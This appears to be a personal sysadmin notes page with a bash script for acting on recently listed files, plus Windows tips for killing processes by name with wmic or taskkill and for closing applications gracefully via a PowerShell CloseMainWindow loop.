advlc 584p\\\;577p
advlc 580\,583p
advlc 422p 

lsdo.bsh:
#!/usr/bin/env bash

function usage {
cat <<  EOF
Usage: lsdo [LSDIR: ls -tr directory] [FILTER: eg. tail -8] [DOCMD: eg. cp "EACH" .]
  Eg. lsdo "/home/cronkilla/Downloads" "tail -8" "cp EACH /tmp"  
EOF
}

LSDIR=${1:-"/home/cronkilla/Downloads/youtube"}
FILTER=${2:-tail -8}
DOCMD=${3:- cp \"\$LSDIR/\$a\" .}

[[ $# -eq 0 ]] && usage && exit 0
 
IFS=$(echo -en "\n\b") && for a in $(ls -tr "$LSDIR" | eval $FILTER); do eval $(echo "$DOCMD" | sed 's/EACH/\"\$LSDIR\/\$a\"/g');  done && unset IFS

Kill all processes with name wildcard via wmic

Logon as user with administrator privileges then: 
wmic process where "name like '%<application name>%'" delete

E.g. To kill all VNC server processes
$ wmic process where "name like 'vncserv%'" delete
Deleting instance \\IDEA-PC\ROOT\CIMV2:Win32_Process.Handle="1976"
Instance deletion successful.
Deleting instance \\IDEA-PC\ROOT\CIMV2:Win32_Process.Handle="1088"
Instance deletion successful.
Deleting instance \\IDEA-PC\ROOT\CIMV2:Win32_Process.Handle="3212"
Instance deletion successful.

Or you can use SSH to kill processes remotely on a windows box from *nix box:

ssh <user>@<ip address> $(echo wmic process where \"name like \'%<process to kill>%\'\" delete)

or
 
ssh <user>@<ip address> taskkill /f /im <process to kill> /t 

Gracefully shutdown Windows programs via Powershell

The problem with programmatically killing apps is that you may lose work or skip steps that are required or useful that would normally be accomplished by the application when shutdown properly.

To accomplish this there is a method implemented by Windows processes called CloseMainWindow(). However, some applications like Firefox have multiple windows spawned and CloseMainWindow() will only close the last focused window. In order to close all of the windows you must loop around and call CloseMainWindow() until all windows are closed.

This can be accomplished the following one-liner, replace <app name> with the name of your application (you don't need to include the extension .exe):

powershell -Command "while ($true){Try{$process=Get-Process <app name> -ErrorAction Stop}Catch [Microsoft.PowerShell.Commands.ProcessCommandException]{break;}if ($process) {$whateva=$process.CloseMainWindow()}else {break;}Start-Sleep -m 500}"

E.g. to close firefox
powershell -Command "while ($true){Try{$process=Get-Process firefox -ErrorAction Stop}Catch [Microsoft.PowerShell.Commands.ProcessCommandException]{break;}if ($process) {$whateva=$process.CloseMainWindow()}else {break;}Start-Sleep -m 500}"

##terminate a process gracefully

while ($true) {
Try
 {
   ## Tell powershell to stop on error
   $process = Get-Process firefox -ErrorAction Stop
 }
 Catch  [Microsoft.PowerShell.Commands.ProcessCommandException]
 {
  break;
 }
   if ($process) {
     ## catch the output in a variable to avoid echo'ing TRUE/FALSE to stdout
     $whateva = $process.CloseMainWindow()
    }
   else {
    break;
  }
   ## Sleep for half a second to avoid race condition of shutting down the app and looping
   Start-Sleep -m 500
}   

If you use a VM or Cygwin:

grace_kill_win.bsh:

#!/usr/bin/env bash
powershell -Command "while (\$true){Try{\$process=Get-Process $1 -ErrorAction Stop}Catch [Microsoft.PowerShell.Commands.ProcessCommandException]{break;}if (\$process) {\$whateva=\$process.CloseMainWindow()}else {break;}Start-Sleep -m 500}"

Afterward you can create an alias for it:
alias gkw='grace_kill_win.bsh'

Then you can kill anything gracefully with the command: gkw <application name>